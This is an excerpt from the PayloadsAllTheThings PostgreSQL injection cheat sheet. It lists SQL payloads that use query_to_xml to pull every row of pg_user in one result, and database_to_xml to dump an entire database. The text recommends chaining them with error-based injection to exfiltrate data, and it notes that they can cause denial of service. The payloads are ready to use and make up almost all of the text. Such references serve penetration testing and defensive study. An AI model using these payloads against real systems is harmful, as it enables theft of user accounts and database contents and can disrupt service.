SELECT query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml rowThe `query_to_xml` above returns all the results of the specified query as a single result. Chain this with the [PostgreSQL Error Based](#postgresql-error-based) technique to exfiltrate data without having to worry about `LIMIT`ing your query to one result.
SELECT database_to_xml(true,true,''); -- dump the current database to XML
SELECT database_to_xmlschema(true,true,''); -- dump the current db to an XML schemaNote, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.
Source: SQL Injection/PostgreSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.